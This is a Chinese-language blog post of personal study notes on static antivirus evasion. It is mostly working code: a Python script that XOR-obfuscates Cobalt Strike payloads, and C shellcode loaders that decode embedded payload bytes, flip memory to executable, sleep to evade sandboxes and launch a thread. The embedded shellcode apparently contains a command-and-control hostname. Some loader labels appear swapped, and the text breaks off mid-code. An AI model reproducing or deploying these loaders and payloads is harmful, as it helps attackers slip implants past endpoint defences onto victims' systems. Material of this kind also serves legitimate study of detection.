免杀学习:静态恶意代码逃逸

了解了解

[toc]

参考课程

参考课程以及资料如下:

作者: 倾旋

后渗透下遇到的问题一(静态免杀)

https://github.com/Rvn0xsy/BadCode

为了学习的完整性,推荐各位师傅去看原文学习,本文只是我的个人摘抄笔记,仅用做个人学习用途。

前言

通常在演练过程里,目的是追求快速的获取更多的权限,但是目标机器都安装了各种反病毒软件,种类繁多,大多对于静态查杀管控较为严格,导致一些工具无法使用。而在这个夹缝中生存的渗透师,就必须要学习更多的知识

关于代码

一般来说,不管是Linux操作系统、Windows操作系统,可执行的应用程序文件,都遵循着一种格式:

  • Linux ELF
  • Windows PE

这种格式又包含了:可执行的应用程序、动态链接库等等,如Windows下的*.exe、*.dll。

而这些文件,其中都有一块空间用于保存程序的代码,也就是指令集,操作系统若想要执行一个文件,就要先将文件加载到内存,并分配相应的虚拟地址空间,创建一个进程和线程,线程再去执行程序的代码。

那么假设如上可以理解,就能够推断出常用的Shellcode加载器的工作原理:

  • Shellcode是代码本身
  • 加载器是具备读取代码的程序
  • 加载器执行后,操作系统会创建一个进程与一个线程
  • 第一个线程用于读取代码(Shellcode)并创建第二个线程,将线程执行的第一条指令指向代码(Shellcode)

关于内存

在Windows操作系统中,每个进程互不干扰(除了公用的内核对象以外),都有自己的虚拟内存空间,而这一块线性的内存空间又被切成一页一页的大小,通常默认情况下,每页的大小是4KB。

Windows通过以页的单位来管理进程的虚拟内存空间,最典型的例子:

1
2
3
4
5
6
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

使用VirtualAlloc Windows API 可向操作系统申请内存空间,操作系统根据指定的大小来调整分配几页,并且会自动进行内存对齐。

为什么要讲到内存呢,因为静态免杀的核心就是将代码加载至内存,理解内存的管理方式,才能产生更多的想法。

关于静态免杀

静态免杀,提起这个很多人会想到很久远的…. 花指令、压缩壳、垃圾资源 等等。

但是由于Shellcode加载器的出现,很多人开始从源码方面出发,通过正常且无害的API来构建一个加载器。

目前见的最多的是两大加载器:

  • Shellcode加载器
  • PE加载器

两者有什么不同呢,我想可能就是加载的文件格式不同,但最终都要运行文件中的代码。

静态恶意代码逃逸(第一课)

恶意代码的定义

以下文章中的所有关于恶意代码的定义都以Cobaltstrike的载荷为例。

Shellcode定义

Shellcode是一段机器指令的集合,通常会被压缩至很小的长度,达到为后续恶意代码铺垫的作用。当然你可以通过msfvenom生成各种用于测试的shellcode。

RAW 文件

RAW 中文意思是原始的、未经加工的,通常使用Cobaltstrike生成的bin文件。

RAW文件是可以直接进行字节操作读取的,因此加载到内存较为方便,通常一般使用混淆的方式再生成一遍。

C 文件

C文件给出的是一个C语言中的字符数组,也是可以通过以字节单位操作的。

1
2
3
/* length: 519 bytes */
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x31\xc0\x6a\x40\xb4\x10\x68\x00\x10\x00\x00\x68\xff\xff\x07\x00\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x83\xc0\x40\x89\xc7\x50\x31\xc0\xb0\x70\xb4\x69\x50\x68\x64\x6e\x73\x61\x54\x68\x4c\x77\x26\x07\xff\xd5\xbb\x61\x00\x00\x00\xeb\x7b\x58\x89\xc6\x83\xef\x40\xfc\xb9\x40\x00\x00\x00\xf3\xa4\x89\xf8\x83\xe8\x40\x40\x80\xfb\x7a\x7e\x32\xbb\x61\x00\x00\x00\x88\x18\x40\x8b\x18\x43\x88\x18\x80\xfb\x7a\x7e\x1a\xbb\x61\x00\x00\x00\x88\x18\x40\x8b\x18\x43\x88\x18\x80\xfb\x7a\x7e\x07\xbb\x61\x00\x00\x00\x88\x18\x48\x48\xbb\x61\x00\x00\x00\x88\x18\x89\xf3\x89\xc6\x54\x5b\x83\xeb\x04\x53\x6a\x00\x53\x6a\x00\x68\x48\x02\x00\x00\x6a\x10\x50\x68\x6a\xc9\x9c\xc9\xff\xd5\x85\xc0\x75\x51\x89\xf0\x48\xb3\x00\x88\x18\x40\x8b\x30\xeb\x70\xe8\x80\xff\xff\xff\x00\x61\x61\x61\x2e\x6c\x6f\x76\x65\x32\x2e\x65\x73\x73\x68\x6f\x70\x77\x65\x62\x2e\x78\x79\x7a\x2e\x6c\x6f\x76\x65\x2e\x65\x73\x73\x68\x6f\x70\x77\x65\x62\x2e\x78\x79\x7a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x89\xf0\x48\x8b\x08\x41\x88\x08\x80\xf9\x5f\x7e\x07\x68\xf0\xb5\xa2\x56\xff\xd5\x68\xe8\x13\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5\x89\xf0\x8b\x08\x89\xcb\xe9\x23\xff\xff\xff\x87\xfa\x5f\x8b\x47\x18\x83\xf8\x01\x75\x39\x83\xc7\x1c\x8b\x3f\x87\xde\x89\xfe\x8b\x7c\x24\x08\x31\xc9\xb1\xff\xf3\xa4\x57\x57\x57\x43\x87\xfa\x52\x57\x53\x81\xea\xff\x00\x00\x00\x52\x68\xf4\x00\x8e\xcc\xff\xd5\x5b\x5f\x5a\x3d\xff\x00\x00\x00\x7c\x07\xe9\xdf\xfe\xff\xff\x89\xd7\x81\xc7\x15\x00\x00\x00\xff\xe7\x00\x00\x00\x00";

组合

采用混淆、加密解密的方式把载荷还原。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break

base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))

def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: [email protected]')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
main()

把raw文件混淆,生成c语言数组

反感:

先生成bin文件,然后运行python脚本:

1
python3 .\xor_shellcoder.py -s .\payload.bin  -d payload.c -n 10 -r RAW

在payload.c中会看到raw文件里的每一个字节与10的异或运算出的C语言数组。

1
\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x3b\xca\x60\x4a\xbe\x1a\x62\x0a\x1a\x0a\x0a\x62\xf5\xf5\x0d\x0a\x60\x0a\x62\x52\xae\x59\xef\xf5\xdf\x89\xca\x4a\x83\xcd\x5a\x3b\xca\xba\x7a\xbe\x63\x5a\x62\x6e\x64\x79\x6b\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\xb1\x6b\x0a\x0a\x0a\xe1\x71\x52\x83\xcc\x89\xe5\x4a\xf6\xb3\x4a\x0a\x0a\x0a\xf9\xae\x83\xf2\x89\xe2\x4a\x4a\x8a\xf1\x70\x74\x38\xb1\x6b\x0a\x0a\x0a\x82\x12\x4a\x81\x12\x49\x82\x12\x8a\xf1\x70\x74\x10\xb1\x6b\x0a\x0a\x0a\x82\x12\x4a\x81\x12\x49\x82\x12\x8a\xf1\x70\x74\x0d\xb1\x6b\x0a\x0a\x0a\x82\x12\x42\x42\xb1\x6b\x0a\x0a\x0a\x82\x12\x83\xf9\x83\xcc\x5e\x51\x89\xe1\x0e\x59\x60\x0a\x59\x60\x0a\x62\x42\x08\x0a\x0a\x60\x1a\x5a\x62\x60\xc3\x96\xc3\xf5\xdf\x8f\xca\x7f\x5b\x83\xfa\x42\xb9\x0a\x82\x12\x4a\x81\x3a\xe1\x7a\xe2\x8a\xf5\xf5\xf5\x0a\x6b\x6b\x6b\x24\x66\x65\x7c\x6f\x38\x24\x6f\x79\x79\x62\x65\x7a\x7d\x6f\x68\x24\x72\x73\x70\x24\x66\x65\x7c\x6f\x24\x6f\x79\x79\x62\x65\x7a\x7d\x6f\x68\x24\x72\x73\x70\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x83\xfa\x42\x81\x02\x4b\x82\x02\x8a\xf3\x55\x74\x0d\x62\xfa\xbf\xa8\x5c\xf5\xdf\x62\xe2\x19\x0a\x0a\x62\x4e\xfa\x3f\xea\xf5\xdf\x83\xfa\x81\x02\x83\xc1\xe3\x29\xf5\xf5\xf5\x8d\xf0\x55\x81\x4d\x12\x89\xf2\x0b\x7f\x33\x89\xcd\x16\x81\x35\x8d\xd4\x83\xf4\x81\x76\x2e\x02\x3b\xc3\xbb\xf5\xf9\xae\x5d\x5d\x5d\x49\x8d\xf0\x58\x5d\x59\x8b\xe0\xf5\x0a\x0a\x0a\x58\x62\xfe\x0a\x84\xc6\xf5\xdf\x51\x55\x50\x37\xf5\x0a\x0a\x0a\x76\x0d\xe3\xd5\xf4\xf5\xf5\x83\xdd\x8b\xcd\x1f\x0a\x0a\x0a\xf5\xed\x0a\x0a\x0a\x0a

静态恶意代码逃逸(第二课)

关于Windows操作系统内存

Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。

操作系统给予每个进程申请内存的权力,使用不同的API,申请的内存具有不同的涵义。

在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。

申请方式:

  • HeapAlloc
  • malloc
  • VirtualAlloc
  • new
  • LocalAlloc

申请内存API的关系

其实以上所有的内存申请方式都与VirtualAlloc有关,因为VirtualAlloc申请的单位是“页”。而Windows操作系统管理内存的单位也是“页”。

实现一次正常加载

使用cobaltstrike默认的shellcode进行加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <Windows.h>


// 入口函数
int wmain(int argc,TCHAR * argv[]){

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄

/* length: 519 bytes */
unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x3b\xca\x60\x4a\xbe\x1a\x62\x0a\x1a\x0a\x0a\x62\xf5\xf5\x0d\x0a\x60\x0a\x62\x52\xae\x59\xef\xf5\xdf\x89\xca\x4a\x83\xcd\x5a\x3b\xca\xba\x7a\xbe\x63\x5a\x62\x6e\x64\x79\x6b\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\xb1\x6b\x0a\x0a\x0a\xe1\x71\x52\x83\xcc\x89\xe5\x4a\xf6\xb3\x4a\x0a\x0a\x0a\xf9\xae\x83\xf2\x89\xe2\x4a\x4a\x8a\xf1\x70\x74\x38\xb1\x6b\x0a\x0a\x0a\x82\x12\x4a\x81\x12\x49\x82\x12\x8a\xf1\x70\x74\x10\xb1\x6b\x0a\x0a\x0a\x82\x12\x4a\x81\x12\x49\x82\x12\x8a\xf1\x70\x74\x0d\xb1\x6b\x0a\x0a\x0a\x82\x12\x42\x42\xb1\x6b\x0a\x0a\x0a\x82\x12\x83\xf9\x83\xcc\x5e\x51\x89\xe1\x0e\x59\x60\x0a\x59\x60\x0a\x62\x42\x08\x0a\x0a\x60\x1a\x5a\x62\x60\xc3\x96\xc3\xf5\xdf\x8f\xca\x7f\x5b\x83\xfa\x42\xb9\x0a\x82\x12\x4a\x81\x3a\xe1\x7a\xe2\x8a\xf5\xf5\xf5\x0a\x6b\x6b\x6b\x24\x66\x65\x7c\x6f\x38\x24\x6f\x79\x79\x62\x65\x7a\x7d\x6f\x68\x24\x72\x73\x70\x24\x66\x65\x7c\x6f\x24\x6f\x79\x79\x62\x65\x7a\x7d\x6f\x68\x24\x72\x73\x70\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x83\xfa\x42\x81\x02\x4b\x82\x02\x8a\xf3\x55\x74\x0d\x62\xfa\xbf\xa8\x5c\xf5\xdf\x62\xe2\x19\x0a\x0a\x62\x4e\xfa\x3f\xea\xf5\xdf\x83\xfa\x81\x02\x83\xc1\xe3\x29\xf5\xf5\xf5\x8d\xf0\x55\x81\x4d\x12\x89\xf2\x0b\x7f\x33\x89\xcd\x16\x81\x35\x8d\xd4\x83\xf4\x81\x76\x2e\x02\x3b\xc3\xbb\xf5\xf9\xae\x5d\x5d\x5d\x49\x8d\xf0\x58\x5d\x59\x8b\xe0\xf5\x0a\x0a\x0a\x58\x62\xfe\x0a\x84\xc6\xf5\xdf\x51\x55\x50\x37\xf5\x0a\x0a\x0a\x76\x0d\xe3\xd5\xf4\xf5\xf5\x83\xdd\x8b\xcd\x1f\x0a\x0a\x0a\xf5\xed\x0a\x0a\x0a\x0a";



// 获取shellcode大小
shellcode_size = sizeof(buf);

/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

实现一次混淆加载

使用之前的Python脚本混淆生成RAW文件,最后得到混淆后的数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <Windows.h>


// 入口函数
int wmain(int argc,TCHAR * argv[]){

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄

/* length: 519 bytes */
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x31\xc0\x6a\x40\xb4\x10\x68\x00\x10\x00\x00\x68\xff\xff\x07\x00\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x83\xc0\x40\x89\xc7\x50\x31\xc0\xb0\x70\xb4\x69\x50\x68\x64\x6e\x73\x61\x54\x68\x4c\x77\x26\x07\xff\xd5\xbb\x61\x00\x00\x00\xeb\x7b\x58\x89\xc6\x83\xef\x40\xfc\xb9\x40\x00\x00\x00\xf3\xa4\x89\xf8\x83\xe8\x40\x40\x80\xfb\x7a\x7e\x32\xbb\x61\x00\x00\x00\x88\x18\x40\x8b\x18\x43\x88\x18\x80\xfb\x7a\x7e\x1a\xbb\x61\x00\x00\x00\x88\x18\x40\x8b\x18\x43\x88\x18\x80\xfb\x7a\x7e\x07\xbb\x61\x00\x00\x00\x88\x18\x48\x48\xbb\x61\x00\x00\x00\x88\x18\x89\xf3\x89\xc6\x54\x5b\x83\xeb\x04\x53\x6a\x00\x53\x6a\x00\x68\x48\x02\x00\x00\x6a\x10\x50\x68\x6a\xc9\x9c\xc9\xff\xd5\x85\xc0\x75\x51\x89\xf0\x48\xb3\x00\x88\x18\x40\x8b\x30\xeb\x70\xe8\x80\xff\xff\xff\x00\x61\x61\x61\x2e\x6c\x6f\x76\x65\x32\x2e\x65\x73\x73\x68\x6f\x70\x77\x65\x62\x2e\x78\x79\x7a\x2e\x6c\x6f\x76\x65\x2e\x65\x73\x73\x68\x6f\x70\x77\x65\x62\x2e\x78\x79\x7a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x89\xf0\x48\x8b\x08\x41\x88\x08\x80\xf9\x5f\x7e\x07\x68\xf0\xb5\xa2\x56\xff\xd5\x68\xe8\x13\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5\x89\xf0\x8b\x08\x89\xcb\xe9\x23\xff\xff\xff\x87\xfa\x5f\x8b\x47\x18\x83\xf8\x01\x75\x39\x83\xc7\x1c\x8b\x3f\x87\xde\x89\xfe\x8b\x7c\x24\x08\x31\xc9\xb1\xff\xf3\xa4\x57\x57\x57\x43\x87\xfa\x52\x57\x53\x81\xea\xff\x00\x00\x00\x52\x68\xf4\x00\x8e\xcc\xff\xd5\x5b\x5f\x5a\x3d\xff\x00\x00\x00\x7c\x07\xe9\xdf\xfe\xff\xff\x89\xd7\x81\xc7\x15\x00\x00\x00\xff\xe7\x00\x00\x00\x00";



// 获取shellcode大小
shellcode_size = sizeof(buf);

/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

第三课

内存申请的优化

在申请内存页时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <Windows.h>

// 入口函数
int wmain(int argc,TCHAR * argv[]){

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";


// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

异或

InterlockedXorRelease函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){

